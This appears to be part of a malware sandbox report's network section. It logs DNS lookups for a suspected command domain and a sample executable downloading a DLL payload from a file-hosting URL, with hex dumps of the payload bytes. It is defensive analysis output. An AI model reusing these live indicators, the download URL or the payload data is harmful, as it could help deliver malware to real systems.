Oct 12, 2021 02:46:07.165508032 CEST	49746	443	192.168.2.3	31.14.69.10
Oct 12, 2021 02:46:07.165532112 CEST	443	49746	31.14.69.10	192.168.2.3
Oct 12, 2021 02:46:07.165559053 CEST	49746	443	192.168.2.3	31.14.69.10
Oct 12, 2021 02:46:07.165568113 CEST	443	49746	31.14.69.10	192.168.2.3
Oct 12, 2021 02:46:07.165591002 CEST	443	49746	31.14.69.10	192.168.2.3
Oct 12, 2021 02:46:07.165596962 CEST	49746	443	192.168.2.3	31.14.69.10
Oct 12, 2021 02:46:07.165602922 CEST	443	49746	31.14.69.10	192.168.2.3
Oct 12, 2021 02:46:07.165625095 CEST	443	49746	31.14.69.10	192.168.2.3
Oct 12, 2021 02:46:07.165633917 CEST	49746	443	192.168.2.3	31.14.69.10
Oct 12, 2021 02:46:07.165642023 CEST	443	49746	31.14.69.10	192.168.2.3
Oct 12, 2021 02:46:07.165677071 CEST	49746	443	192.168.2.3	31.14.69.10
Oct 12, 2021 02:46:07.165719032 CEST	49746	443	192.168.2.3	31.14.69.10
Oct 12, 2021 02:46:07.191054106 CEST	443	49746	31.14.69.10	192.168.2.3
Oct 12, 2021 02:46:07.191138029 CEST	443	49746	31.14.69.10	192.168.2.3
Oct 12, 2021 02:46:07.191270113 CEST	443	49746	31.14.69.10	192.168.2.3
Oct 12, 2021 02:46:07.191298008 CEST	49746	443	192.168.2.3	31.14.69.10
Oct 12, 2021 02:46:07.191328049 CEST	443	49746	31.14.69.10	192.168.2.3
Oct 12, 2021 02:46:07.191340923 CEST	49746	443	192.168.2.3	31.14.69.10
Oct 12, 2021 02:46:07.191344976 CEST	49746	443	192.168.2.3	31.14.69.10
Oct 12, 2021 02:46:07.191373110 CEST	49746	443	192.168.2.3	31.14.69.10
Oct 12, 2021 02:46:07.191471100 CEST	443	49746	31.14.69.10	192.168.2.3
Oct 12, 2021 02:46:07.191498995 CEST	443	49746	31.14.69.10	192.168.2.3
Oct 12, 2021 02:46:07.191534996 CEST	49746	443	192.168.2.3	31.14.69.10
Oct 12, 2021 02:46:07.191544056 CEST	443	49746	31.14.69.10	192.168.2.3
Oct 12, 2021 02:46:07.191580057 CEST	443	49746	31.14.69.10	192.168.2.3
Oct 12, 2021 02:46:07.191581011 CEST	49746	443	192.168.2.3	31.14.69.10
Oct 12, 2021 02:46:07.191606998 CEST	49746	443	192.168.2.3	31.14.69.10
Oct 12, 2021 02:46:07.191608906 CEST	443	49746	31.14.69.10	192.168.2.3
Oct 12, 2021 02:46:07.191620111 CEST	443	49746	31.14.69.10	192.168.2.3
Oct 12, 2021 02:46:07.191643953 CEST	49746	443	192.168.2.3	31.14.69.10
Oct 12, 2021 02:46:07.191673040 CEST	443	49746	31.14.69.10	192.168.2.3
Oct 12, 2021 02:46:07.191698074 CEST	443	49746	31.14.69.10	192.168.2.3
Oct 12, 2021 02:46:07.191708088 CEST	49746	443	192.168.2.3	31.14.69.10
Oct 12, 2021 02:46:07.191718102 CEST	443	49746	31.14.69.10	192.168.2.3
Oct 12, 2021 02:46:07.191729069 CEST	49746	443	192.168.2.3	31.14.69.10
Oct 12, 2021 02:46:07.191752911 CEST	49746	443	192.168.2.3	31.14.69.10
Oct 12, 2021 02:46:07.191781998 CEST	49746	443	192.168.2.3	31.14.69.10
Oct 12, 2021 02:46:07.191791058 CEST	443	49746	31.14.69.10	192.168.2.3
Oct 12, 2021 02:46:07.191802979 CEST	443	49746	31.14.69.10	192.168.2.3
Oct 12, 2021 02:46:07.191822052 CEST	443	49746	31.14.69.10	192.168.2.3
Oct 12, 2021 02:46:07.191847086 CEST	49746	443	192.168.2.3	31.14.69.10
Oct 12, 2021 02:46:07.191855907 CEST	443	49746	31.14.69.10	192.168.2.3
Oct 12, 2021 02:46:07.191883087 CEST	49746	443	192.168.2.3	31.14.69.10
Oct 12, 2021 02:46:07.191909075 CEST	49746	443	192.168.2.3	31.14.69.10
Oct 12, 2021 02:46:07.192054987 CEST	443	49746	31.14.69.10	192.168.2.3
Oct 12, 2021 02:46:07.192082882 CEST	443	49746	31.14.69.10	192.168.2.3
Oct 12, 2021 02:46:07.192126036 CEST	49746	443	192.168.2.3	31.14.69.10
Oct 12, 2021 02:46:07.192135096 CEST	443	49746	31.14.69.10	192.168.2.3
Oct 12, 2021 02:46:07.192167997 CEST	49746	443	192.168.2.3	31.14.69.10
Oct 12, 2021 02:46:07.192189932 CEST	49746	443	192.168.2.3	31.14.69.10
Oct 12, 2021 02:46:07.192316055 CEST	49746	443	192.168.2.3	31.14.69.10
Oct 12, 2021 02:46:07.217489958 CEST	443	49746	31.14.69.10	192.168.2.3
Oct 12, 2021 02:46:07.217545033 CEST	443	49746	31.14.69.10	192.168.2.3
Oct 12, 2021 02:46:07.217742920 CEST	443	49746	31.14.69.10	192.168.2.3

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 12, 2021 02:46:06.362531900 CEST	54154	53	192.168.2.3	8.8.8.8
Oct 12, 2021 02:46:06.392982960 CEST	53	54154	8.8.8.8	192.168.2.3
Oct 12, 2021 02:46:13.512804031 CEST	52806	53	192.168.2.3	8.8.8.8
Oct 12, 2021 02:46:13.533312082 CEST	53	52806	8.8.8.8	192.168.2.3
Oct 12, 2021 02:46:18.902524948 CEST	53910	53	192.168.2.3	8.8.8.8
Oct 12, 2021 02:46:18.934984922 CEST	53	53910	8.8.8.8	192.168.2.3
Oct 12, 2021 02:46:19.265326977 CEST	64021	53	192.168.2.3	8.8.8.8
Oct 12, 2021 02:46:19.283734083 CEST	53	64021	8.8.8.8	192.168.2.3
Oct 12, 2021 02:46:28.270396948 CEST	51143	53	192.168.2.3	8.8.8.8
Oct 12, 2021 02:46:28.289122105 CEST	53	51143	8.8.8.8	192.168.2.3
Oct 12, 2021 02:46:32.502224922 CEST	56009	53	192.168.2.3	8.8.8.8
Oct 12, 2021 02:46:32.528846979 CEST	53	56009	8.8.8.8	192.168.2.3
Oct 12, 2021 02:46:50.583187103 CEST	55102	53	192.168.2.3	8.8.8.8
Oct 12, 2021 02:46:50.606301069 CEST	53	55102	8.8.8.8	192.168.2.3
Oct 12, 2021 02:47:09.618566990 CEST	63297	53	192.168.2.3	8.8.8.8
Oct 12, 2021 02:47:09.644280910 CEST	53	63297	8.8.8.8	192.168.2.3
Oct 12, 2021 02:47:28.369395971 CEST	63456	53	192.168.2.3	8.8.8.8
Oct 12, 2021 02:47:28.385668993 CEST	53	63456	8.8.8.8	192.168.2.3
Oct 12, 2021 02:47:46.934901953 CEST	58540	53	192.168.2.3	8.8.8.8
Oct 12, 2021 02:47:46.962099075 CEST	53	58540	8.8.8.8	192.168.2.3
Oct 12, 2021 02:48:05.329334974 CEST	64432	53	192.168.2.3	8.8.8.8
Oct 12, 2021 02:48:05.349354982 CEST	53	64432	8.8.8.8	192.168.2.3

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Oct 12, 2021 02:46:06.362531900 CEST	192.168.2.3	8.8.8.8	0x745f	Standard query (0)	store2.gofile.io	A (IP address)	IN (0x0001)
Oct 12, 2021 02:46:13.512804031 CEST	192.168.2.3	8.8.8.8	0x735e	Standard query (0)	cloudhost.myfirewall.org	A (IP address)	IN (0x0001)
Oct 12, 2021 02:46:18.902524948 CEST	192.168.2.3	8.8.8.8	0xc3a6	Standard query (0)	store2.gofile.io	A (IP address)	IN (0x0001)
Oct 12, 2021 02:46:19.265326977 CEST	192.168.2.3	8.8.8.8	0xb3a6	Standard query (0)	store2.gofile.io	A (IP address)	IN (0x0001)
Oct 12, 2021 02:46:28.270396948 CEST	192.168.2.3	8.8.8.8	0x663f	Standard query (0)	store2.gofile.io	A (IP address)	IN (0x0001)
Oct 12, 2021 02:46:32.502224922 CEST	192.168.2.3	8.8.8.8	0x7ea5	Standard query (0)	cloudhost.myfirewall.org	A (IP address)	IN (0x0001)
Oct 12, 2021 02:46:50.583187103 CEST	192.168.2.3	8.8.8.8	0xd495	Standard query (0)	cloudhost.myfirewall.org	A (IP address)	IN (0x0001)
Oct 12, 2021 02:47:09.618566990 CEST	192.168.2.3	8.8.8.8	0xef62	Standard query (0)	cloudhost.myfirewall.org	A (IP address)	IN (0x0001)
Oct 12, 2021 02:47:28.369395971 CEST	192.168.2.3	8.8.8.8	0xd54a	Standard query (0)	cloudhost.myfirewall.org	A (IP address)	IN (0x0001)
Oct 12, 2021 02:47:46.934901953 CEST	192.168.2.3	8.8.8.8	0xdb52	Standard query (0)	cloudhost.myfirewall.org	A (IP address)	IN (0x0001)
Oct 12, 2021 02:48:05.329334974 CEST	192.168.2.3	8.8.8.8	0x96fc	Standard query (0)	cloudhost.myfirewall.org	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class
Oct 12, 2021 02:46:06.392982960 CEST	8.8.8.8	192.168.2.3	0x745f	No error (0)	store2.gofile.io	31.14.69.10	A (IP address)	IN (0x0001)
Oct 12, 2021 02:46:13.533312082 CEST	8.8.8.8	192.168.2.3	0x735e	No error (0)	cloudhost.myfirewall.org	91.121.250.249	A (IP address)	IN (0x0001)
Oct 12, 2021 02:46:18.934984922 CEST	8.8.8.8	192.168.2.3	0xc3a6	No error (0)	store2.gofile.io	31.14.69.10	A (IP address)	IN (0x0001)
Oct 12, 2021 02:46:19.283734083 CEST	8.8.8.8	192.168.2.3	0xb3a6	No error (0)	store2.gofile.io	31.14.69.10	A (IP address)	IN (0x0001)
Oct 12, 2021 02:46:28.289122105 CEST	8.8.8.8	192.168.2.3	0x663f	No error (0)	store2.gofile.io	31.14.69.10	A (IP address)	IN (0x0001)
Oct 12, 2021 02:46:32.528846979 CEST	8.8.8.8	192.168.2.3	0x7ea5	No error (0)	cloudhost.myfirewall.org	91.121.250.249	A (IP address)	IN (0x0001)
Oct 12, 2021 02:46:50.606301069 CEST	8.8.8.8	192.168.2.3	0xd495	No error (0)	cloudhost.myfirewall.org	91.121.250.249	A (IP address)	IN (0x0001)
Oct 12, 2021 02:47:09.644280910 CEST	8.8.8.8	192.168.2.3	0xef62	No error (0)	cloudhost.myfirewall.org	91.121.250.249	A (IP address)	IN (0x0001)
Oct 12, 2021 02:47:28.385668993 CEST	8.8.8.8	192.168.2.3	0xd54a	No error (0)	cloudhost.myfirewall.org	91.121.250.249	A (IP address)	IN (0x0001)
Oct 12, 2021 02:47:46.962099075 CEST	8.8.8.8	192.168.2.3	0xdb52	No error (0)	cloudhost.myfirewall.org	91.121.250.249	A (IP address)	IN (0x0001)
Oct 12, 2021 02:48:05.349354982 CEST	8.8.8.8	192.168.2.3	0x96fc	No error (0)	cloudhost.myfirewall.org	91.121.250.249	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

store2.gofile.io

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.3	49746	31.14.69.10	443	C:\Users\user\Desktop\FYrMKmDjFi.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-12 00:46:06 UTC	0	OUT	GET /download/6f4c6241-0142-4b69-a781-3b6b1e13dbb5/Dlbylzwmcmem.dll HTTP/1.1 Host: store2.gofile.io Connection: Keep-Alive
2021-10-12 00:46:07 UTC	0	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Content-Disposition: attachment; filename="Dlbylzwmcmem.dll" Content-Length: 1088008 Content-Type: application/octet-stream Date: Tue, 12 Oct 2021 00:46:07 GMT Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-Powered-By: Express X-Xss-Protection: 1; mode=block Connection: close
2021-10-12 00:46:07 UTC	0	IN	Data Raw: 5b db 98 8f 52 c7 a2 c3 18 df 30 d4 99 08 c4 fb 6d 31 ef 51 86 58 f2 0e cc 2f 68 51 df 3a ea cb 59 65 4e b6 a1 98 58 60 59 65 4e b6 a1 98 58 60 59 65 4e b6 a1 98 58 60 ad 70 c2 2e f4 17 6c fc 28 04 1a 10 3e ca 95 94 39 3c 7d 1c af 33 26 7c 0f 81 28 fd ab df 9c 1d f2 11 11 7d 15 6e 15 2c b8 71 33 0c 4a ef fd 09 47 55 5b 98 e5 d5 35 8a ac 13 80 e1 bd 99 dc 60 ab 75 8e dc 7a c4 78 cb 35 83 fa 7e 5b 7c c7 3c 7c 16 6d 9e 7a ad 90 8e ea e9 0e 2b 4c 20 f8 fd 7a 5f 5f 54 70 1d b6 b9 e6 66 70 5c 21 62 8e 2e 39 cd c7 23 6f ea 9f 2c 7e 3b 4e 22 7a b3 1b ec bb 35 ce 3c d9 ed 70 ff 1e bc ed 0d 07 82 a7 ff 1e bc ed 0d 07 82 a7 ff fe 93 d9 59 d3 da 25 ed aa eb 79 16 50 21 d5 36 05 e9 0f 49 0f 6b bf 25 05 e9 0f 49 0f 6b bf 25 4c ff 8a e0 11 69 f7 a0 59 65 4e b6 a1 98 58 Data Ascii: [R0m1QX/hQ:YeNX`YeNX`YeNX`p.l(>9<}3&\|(}n,q3JGU[5`uzx5~[\|<\|mz+L z__Tpfp\!b.9#o,~;N"z5<pY%yP!6Ik%Ik%LiYeNX
2021-10-12 00:46:07 UTC	1	IN	Data Raw: bb 5a a0 e1 c1 98 05 43 3d e6 d1 cb b4 30 0c 58 9f f6 9e fb 77 72 a1 12 d0 82 8e 50 d8 47 9c 58 34 5a a5 6f 57 fb 74 3b 7a 3b 45 98 f3 4e d2 e0 c1 c1 81 da e6 d8 17 3e f2 32 0d 50 a4 5d 58 43 d6 29 ea 3f e0 39 99 06 40 2a a1 e9 9f a6 2d 01 bf 07 78 96 ee a4 85 64 2e 5b c9 a7 45 97 48 1b cc a4 66 ae ad f5 6b 3c 4c 2e 09 d0 7f 08 eb 26 f1 ba 25 5c 72 c7 e8 95 50 13 69 81 7f 42 46 2d d4 a0 3b b5 0d d1 3a 56 fd 13 e0 99 34 c8 d0 f8 a9 5b 45 b9 f4 6b 4d 33 8e d3 f9 90 be 13 f7 eb 0f f3 8e d6 b6 a2 39 37 01 b9 dd 3e a7 99 ab e7 17 3c 79 58 8d 2f ab 07 58 58 24 c4 c0 16 b6 b2 ed 44 4d 2d 2f 6b 8d b3 d9 dc f2 4c 5f e2 6c fb 46 da e9 5f 20 5a 33 f3 bf 3c c3 17 9e 49 53 61 89 67 43 d5 d6 b8 2d 35 ef d0 4f 6d e9 1b 2d e8 c7 ec 5b b4 11 9d b8 0a 4f 6a 62 ff d1 53 f3 Data Ascii: ZC=0XwrPGX4ZoWt;z;EN>2P]XC)?9@*-xd.[EHfk<L.&%\rPiBF-;:V4[EkM397><yX/XX$DM-/kL_lF_ Z3<ISagC-5Om-[OjbS
2021-10-12 00:46:07 UTC	3	IN	Data Raw: 02 cf a8 5e 28 2e 70 b6 08 06 60 49 14 86 66 39 3f a8 f2 67 8a f6 bf ad 0d 19 a8 6a 90 ef 70 0e d8 08 f7 86 1c 43 5b 1a 98 d5 33 d2 58 7f c3 07 11 4a 2d 43 80 c7 f4 ca ab ba ec 45 d9 73 c4 c2 8b 5c 7d 0d ac bf e2 32 cd 3e 7d 06 31 c9 a6 34 1b 8a 06 6a 62 1b d5 85 98 cb a5 7e 25 16 ce 09 1f ed bc 24 d2 4c 38 b8 36 08 d9 50 ab 1b 73 83 58 cd c2 98 06 83 39 7c 89 1f 70 78 9d b5 88 7c 11 f2 90 eb df 7e 28 a9 3a 73 3b a5 ec 61 61 87 43 35 c8 b9 66 ec 7a 88 73 52 4a 95 4f d1 7e 41 87 e0 d0 05 3f d3 51 70 58 96 34 2f 5a cb e0 3c cd ad 13 f8 83 a7 32 5f fd 24 f4 00 d3 27 6d 8f 01 d0 05 50 fb 2d d9 fa 6f a7 a0 da 1d 54 3e fd 69 e5 6f fe bf 58 57 1f b1 bd a7 47 8d ef 0f 01 3b d8 f8 83 8b 34 9a 5d e3 a2 d9 fe 9b 06 ab 88 2b f9 9e de e2 71 f9 b8 22 ec ac b9 9f 20 b3 Data Ascii: ^(.p`If9?gjpC[3XJ-CEs\}2>}14jb~%$L86PsX9\|px\|~(:s;aaC5fzsRJO~A?QpX4/Z<2_$'mP-oT>ioXWG;4]+q"
2021-10-12 00:46:07 UTC	4	IN	Data Raw: ce a0 57 03 81 6f 49 42 3e 3d 49 f6 88 86 c9 df 4f 63 aa c3 b3 59 4f f5 ac 66 5d e9 ce 10 77 f2 da 38 f3 93 01 63 d1 2d 01 e7 9e 44 0a 5d f9 29 e5 aa 51 14 45 87 4a 84 76 ac 1a 92 70 60 c8 ee 07 b1 04 27 fc 32 3b fe 6a e9 bb 65 4d cd eb fb e9 77 03 52 e3 2a f0 53 f3 ed b7 a0 2a 88 61 fe 94 4b 16 07 70 81 a3 6e 15 f7 2e 54 9f 9f 99 ac a6 73 b2 e6 9b bb 15 58 2d e3 1a 9e e5 01 63 2a d7 9a 16 7d 50 6c 7d f3 fc d1 b6 ff da f3 34 de 10 83 3b 03 a1 59 23 fa 47 63 8c 9e 3e 21 08 bd a7 47 8d ef 0f 01 3b 88 2d 06 7e a3 bf 53 a4 00 fd 84 cf 8f f0 02 bb 1a 5f ff 22 c4 31 d8 22 8f f8 8a 20 e3 1b 9f db 94 ba 4c 49 2b 57 0c 46 ad c6 76 c1 cd 9b 4f 72 4e df b7 fb e5 8e cd d6 6d 9a 05 67 3a 07 f4 b0 7b b8 5a cd 10 43 eb 21 b9 28 55 44 d1 79 07 ab 50 e3 55 ae 8f 21 ce aa Data Ascii: WoIB>=IOcYOf]w8c-D])QEJvp`'2;jeMwRSaKpn.TsX-c*}Pl}4;Y#Gc>!G;-~S_"1" LI+WFvOrNmg:{ZC!(UDyPU!
2021-10-12 00:46:07 UTC	8	IN	Data Raw: 0a 4a e2 56 1e 02 cc bd a0 d6 2c a5 d0 84 2d 08 c1 8d b2 04 9d 59 90 f9 a8 5b b5 8a 97 28 18 be 0f aa a0 8e 6a 76 ce 93 0f 1c 31 c0 27 da 98 35 d0 30 d1 75 60 07 9e c4 e5 54 49 e5 f3 82 75 41 fd c5 ae fa 2c 20 09 da 98 9a d8 57 fb e3 68 20 83 29 f2 35 40 fb ec 4b 7a 8b 5a a1 b3 b6 e5 5f 0d e0 ed c7 dc 2c e2 76 1d 65 4c 60 74 d6 d2 b8 1c 93 d1 c6 a2 5d 56 b6 0c d9 02 85 f6 eb ea 5a 48 14 10 08 2a ee a2 4c 94 81 27 8c 2e 7e 0f db 9f e4 e0 56 c8 3b 1b 32 96 8f 4c 19 48 f3 b2 db be 2a 2a ff 1a 51 78 a3 e2 f9 eb b6 c7 56 9a ab d9 49 08 13 03 30 0c 4a 65 8e fa 8d da 91 26 8f 83 59 62 a9 8f 42 d3 fe 9e 3a f1 de 6e 71 23 99 09 cf 86 60 2e 27 d1 c3 93 91 d2 06 cc 78 62 b5 ea 0f b7 b3 fc 76 6b 61 1e 06 40 07 a4 d0 a7 c8 db e1 cf 63 52 6e 1f 1f ec 21 9a 8b 0a 30 6b Data Ascii: JV,-Y[(jv1'50u`TIuA, Wh )5@KzZ_,veL`t]VZHL'.~V;2LH*QxVI0Je&YbB:nq#`.'xbvka@cRn!0k
2021-10-12 00:46:07 UTC	13	IN	Data Raw: 4f f3 08 52 b2 3b fb 30 af cb 1c ce 84 d2 0d 62 9d cd 16 ca 94 d5 a4 94 c6 bb 5e c3 e0 12 a6 4f df a1 85 32 67 af a7 ef 00 71 1f 83 e1 63 fa 55 45 8e 64 78 b5 bf e9 d0 34 be 69 ed fe 4f ce a7 b4 4d ac 10 e2 7a 79 63 4c 1f 5a 25 b2 92 0a 32 7d 7e fb c4 1a f6 4e 34 a1 da 30 19 59 1e 3d 0b a0 bf ff d6 32 3f f2 a5 6b 8a c3 87 5f da 91 22 47 8e 6a e2 c3 50 55 42 09 ca 1e 93 16 22 95 ca 3c ef 63 e4 7a 8f f8 67 45 4c bb 10 ad 7b 12 b9 d6 59 83 6a 00 c2 aa 1e 81 73 ba 1f 48 6f b4 f5 e3 65 96 27 bc f0 c9 ae a3 4a d5 8d e3 7b 32 a3 0b ff c9 21 b9 94 70 1c ff 8f 80 42 8a 0b e7 43 5d 34 55 aa 0e 81 ba f6 68 08 2e b6 08 da 91 8f a9 25 39 f8 c7 c3 33 1a 29 3d 69 c0 db 6d 2f dc 8b e1 fb d3 d5 be 1c 4a 6a d1 cf 96 08 0b ae e6 53 6a c7 bd 6a cd a8 96 ed 43 ba 8f 68 ef ae Data Ascii: OR;0b^O2gqcUEdx4iOMzycLZ%2}~N40Y=2?k_"GjPUB"<czgEL{YjsHoe'J{2!pBC]4Uh.%93)=im/JjSjjCh
2021-10-12 00:46:07 UTC	20	IN	Data Raw: 49 ee bd 13 94 00 7f c9 21 36 de 59 93 8c 18 6e cc a4 cd 83 23 0a da 8a c2 c7 00 7d a4 06 d3 80 30 93 bb 1e 10 2d af db 93 9e 23 08 17 21 53 82 dc ce 6b c4 90 b8 44 52 6d f2 fb ea c2 7f 24 6c 23 e0 db 3d 01 1a db 92 3e ed a8 a7 82 e4 65 76 a7 72 59 52 80 e7 9e a7 c9 e4 f4 50 7a c4 e7 16 a7 2a 24 ab 6d 39 da 07 d0 71 f9 ff 39 5f 30 68 9d 30 21 0b 5b c5 18 f8 e3 5e e3 af 76 ce b6 66 b3 00 0c 77 ed cf 3e 9a 78 7c be 14 66 56 7c 54 48 74 29 1e 80 0f 43 d8 49 c5 3d 44 1d 14 fc e5 1b e1 ae 73 6e ac cc 21 0e 5e 80 1c cd 06 ff d3 b8 b4 a4 0e a0 ee 38 9e 6c 5b e8 d5 66 c8 45 01 8e 8e 36 4c 35 de 14 50 88 ad c5 16 1b 1a d9 77 6d ae c5 12 e5 64 b5 01 e9 64 3d 43 d4 bd 57 30 15 35 a2 7d 00 c5 97 94 e8 68 d1 bd 5c 1a 79 76 d9 82 4c e8 2e 4b 0a 78 5a bc 21 53 97 0b e8 Data Ascii: I!6Yn#}0-#!SkDRm$l#=>evrYRPz*$m9q9_0h0![^vfw>x\|fV\|THt)CI=Dsn!^8l[fE6L5Pwmdd=CW05}h\yvL.KxZ!S
2021-10-12 00:46:07 UTC	28	IN	Data Raw: 37 bf 79 51 1c 0f 8b f1 43 2e 53 b6 83 11 a3 a6 45 64 86 fa 16 2f 76 4d 91 f3 bd d4 e7 52 47 8b ea 54 1d 35 f3 df 89 83 d4 cd 1f 63 a0 f8 4c 24 73 cc bf f7 84 fc 74 a4 5b 74 71 db c4 02 b7 67 7d 97 4c 42 77 33 c3 5b 52 86 1b 04 14 69 42 66 9a 32 7f 05 8d 95 2c 78 d8 33 c1 0d 9c 13 49 69 c6 45 ab 03 44 54 52 f4 77 53 05 bd 18 b8 ce d8 60 0b c7 08 ac 56 7c 80 64 b2 59 98 dd cf 61 57 24 9c 82 5b 58 0f 62 c0 70 ea d9 c4 58 ee c5 44 fa cd c4 d2 39 e8 f9 81 53 f1 bb bb 36 7f 47 d0 7b 3c 70 d6 e8 bd 3b 08 e2 64 07 a0 7c e0 6c 92 19 9c 3f 7e 53 21 30 6a 00 8b 6b b7 02 82 41 4c 04 dd fb 90 02 8a d5 f7 69 3c 45 d7 70 b1 20 72 2f 63 39 f6 6b fc ee ac 2d 20 11 0c aa 0d a7 7c 59 9c 98 3a 34 d6 25 55 82 3d 58 d9 b6 d7 3f 37 7a d6 fd d7 80 2d 4b 1a 1c 52 b6 23 c6 4c 4d Data Ascii: 7yQC.SEd/vMRGT5cL$st[tqg}LBw3[RiBf2,x3IiEDTRwS`V\|dYaW$[XbpXD9S6G{<p;d\|l?~S!0jkALi<Ep r/c9k- \|Y:4%U=X?7z-KR#LM
2021-10-12 00:46:07 UTC	37	IN	Data Raw: a2 c2 63 c8 e1 65 f9 1a 19 54 b9 29 7b 4b 4f 62 92 71 e0 77 4c 0c 3c d9 2c 2d c1 c3 7b 59 22 67 64 15 7d 6f 7c b9 22 f3 c3 e3 9c 6e f4 9d 55 3e f3 97 eb 14 73 cb d7 a6 0b 0e 5c 6e 05 ff 31 91 f0 64 f5 44 4f 93 3a c7 f6 15 af b0 44 ef 6b bb 9d fd 9e f0 f0 d1 b9 0b 0c ef 29 a1 ef 46 47 4f 7c b1 fd 05 1c e0 fd a0 05 e8 8a 11 f9 ac 3d cb 56 1b 80 21 1d 75 c1 5f bd 64 82 3e c7 ba 53 67 68 b9 b4 27 61 06 38 3b 20 ba 6f e4 1b ca 97 36 82 f3 72 7c 9c bb 51 41 f7 c5 1c 88 7c 6c b2 95 8b da 62 9a 24 8b 76 f4 5f 45 f2 e6 d4 80 5b 33 9d b9 be bb d8 d5 56 a6 9b 0f d9 64 15 c3 17 40 d4 16 8a d4 60 7f 91 09 bb 13 cd bc a7 14 a8 cf 82 d5 81 ed 61 dc 82 12 58 12 fc e3 7a 20 7f 7d 28 74 e8 26 5a e9 5c b2 14 e5 54 b4 52 a9 0d cf f5 c6 3f 3f f3 4e 32 b4 ab 07 ed 88 8d 94 91 Data Ascii: ceT){KObqwL<,-{Y"gd}o\|"nU>s\n1dDO:Dk)FGO\|=V!u_d>Sgh'a8; o6r\|QA\|lb$v_E[3Vd@`aXz }(t&Z\TR??N2
2021-10-12 00:46:07 UTC	47	IN	Data Raw: ab c7 5d 82 39 fc ac ae 00 69 9b 6a 17 1b 5e 34 e0 e9 6c 23 63 c9 ff 3a 41 58 3c 7c 2c 4c 03 b4 e5 ab fa 54 47 94 ba 8f 99 f1 9f 44 5f 2a 78 6d 9d 1c 0f 09 87 e3 ac 50 b9 90 ed 77 47 86 25 21 29 73 de 86 e6 c2 60 4a c1 34 aa ed d8 35 4c d2 5a 6f 24 5c bc 0f d9 1a c5 ab fa 54 47 94 ba 8f 99 ce 3d e2 f8 ee dc 56 85 66 ea 2f 69 8d 44 b4 de 90 ed 77 47 86 25 21 29 ca 5d 3f 28 2c f8 48 eb 34 aa ed d8 35 4c d2 5a 0b c2 9b 07 08 7f 76 e8 ab fa 54 47 94 ba 8f 99 b2 f9 0c 6c 10 8e be 19 1d f3 2d c5 ba 91 77 2b 90 ed 77 47 86 25 21 29 f6 bb c1 47 da 6f 1c 94 34 aa ed d8 35 4c d2 5a 98 8a f5 7a 0e 1c 25 05 ab fa 54 47 94 ba 8f 99 ef 75 d5 ba da b5 bf cb 48 d6 e2 bb 09 94 21 24 90 ed 77 47 86 25 21 29 99 46 26 e8 09 c0 89 d2 34 aa ed d8 35 4c d2 5a ee e9 a3 dd 13 16 Data Ascii: ]9ij^4l#c:AX<\|,LTGD_*xmPwG%!)s`J45LZo$\TG=Vf/iDwG%!)]?(,H45LZvTGl-w+wG%!)Go45LZz%TGuH!$wG%!)F&45LZ
2021-10-12 00:46:07 UTC	59	IN	Data Raw: cd c3 40 d8 4c 0c 10 65 52 16 7a 7d da 79 9b af 3d e6 96 0c 05 82 56 fe 67 7b 68 0d ce e0 92 16 52 93 b5 7f e3 57 51 b3 0e f3 fa f7 1e bd 41 15 c4 35 3e 15 4a 56 81 e0 e4 76 41 a7 75 7e 38 8e f5 05 ff 40 b6 38 92 2e 31 4e bd 87 67 ef 13 53 4b bb 3c 1c 79 2e de 16 cd c3 40 d8 4c c7 77 93 85 52 50 06 ba 41 94 24 1a 80 58 02 83 71 87 b0 ce d8 23 6a 4e 2d f3 f3 30 11 3c b0 10 c5 6d d4 41 0f 58 b2 9b 3d e7 67 14 b9 37 26 28 bf 13 0c bc 69 72 ae 7d f1 cc bf ec 76 a2 bc 5c 06 76 21 2e 59 e1 b2 05 55 b7 35 7d 0a d1 99 5f 5d a5 5d 46 45 d2 63 5c 72 41 80 8d c6 eb 90 c4 47 30 17 c6 81 14 b2 a2 5c 8a 26 48 97 d5 01 ea be f0 b0 a4 8b 26 ea 19 c2 80 3e c3 43 85 23 37 27 b3 b7 5f eb a1 e0 84 a9 75 e0 9f 93 e8 a2 87 6f a1 7c 9f 4d 87 bf 48 c4 5d ba 26 bf 96 8a a7 91 23 Data Ascii: @LeRz}y=Vg{hRWQA5>JVvAu~8@8.1NgSK<y.@LwRPA$Xq#jN-0<mAX=g7&(ir}v\v!.YU5}_]]FEc\rAG0\&H&>C#7'_uo\|MH]&#
2021-10-12 00:46:07 UTC	64	IN	Data Raw: 77 7b 07 90 53 3a 65 0c 65 0c 35 2a 3a bf 93 d7 2a d5 c0 18 03 ce a7 67 90 38 ba 1d c9 90 db 5c 73 cb 5b 51 72 7d 93 de 4c fc 56 b5 64 8f 15 4d 42 cf 4b 4d 6a d1 d5 04 a5 08 aa b0 9b b1 84 ee 76 1b c6 ca a5 c9 70 ad 02 d9 48 e8 15 d3 53 82 b3 59 36 ee 5a 28 ee a7 5a f2 44 ac 97 07 46 ef d6 3f 3b e0 59 af be 59 67 1c cb 23 c4 aa da 65 3e 04 e4 d2 f4 1c 18 e9 4d b4 2d cf 45 ed fd 28 6d 2c cd e5 6f 08 d6 7b 03 87 73 db 37 8c d7 0d 88 a4 13 de 9a 2a e8 58 f0 ab 58 00 f5 a1 5a f2 d4 df a5 30 85 2e fb 8f 62 d6 8c ea df 92 b5 01 5c f6 72 e1 b8 22 ec 6b f2 85 67 bc e0 ee 67 30 a5 46 1a 7d e4 20 eb 80 68 b5 05 fd df 92 18 2d 43 26 20 7a b3 c9 d6 05 05 b8 5b 91 14 ee f1 b8 e5 8b 9f d0 48 2c cf 1c 46 ff e3 a1 9f 1b ae ac eb 99 78 32 0c 85 97 a7 c1 59 6c 65 81 01 4f Data Ascii: w{S:ee5:g8\s[Qr}LVdMBKMjvpHSY6Z(ZDF?;YYg#e>M-E(m,o{s7*XXZ0.b\r"kgg0F} h-C& z[H,Fx2YleO
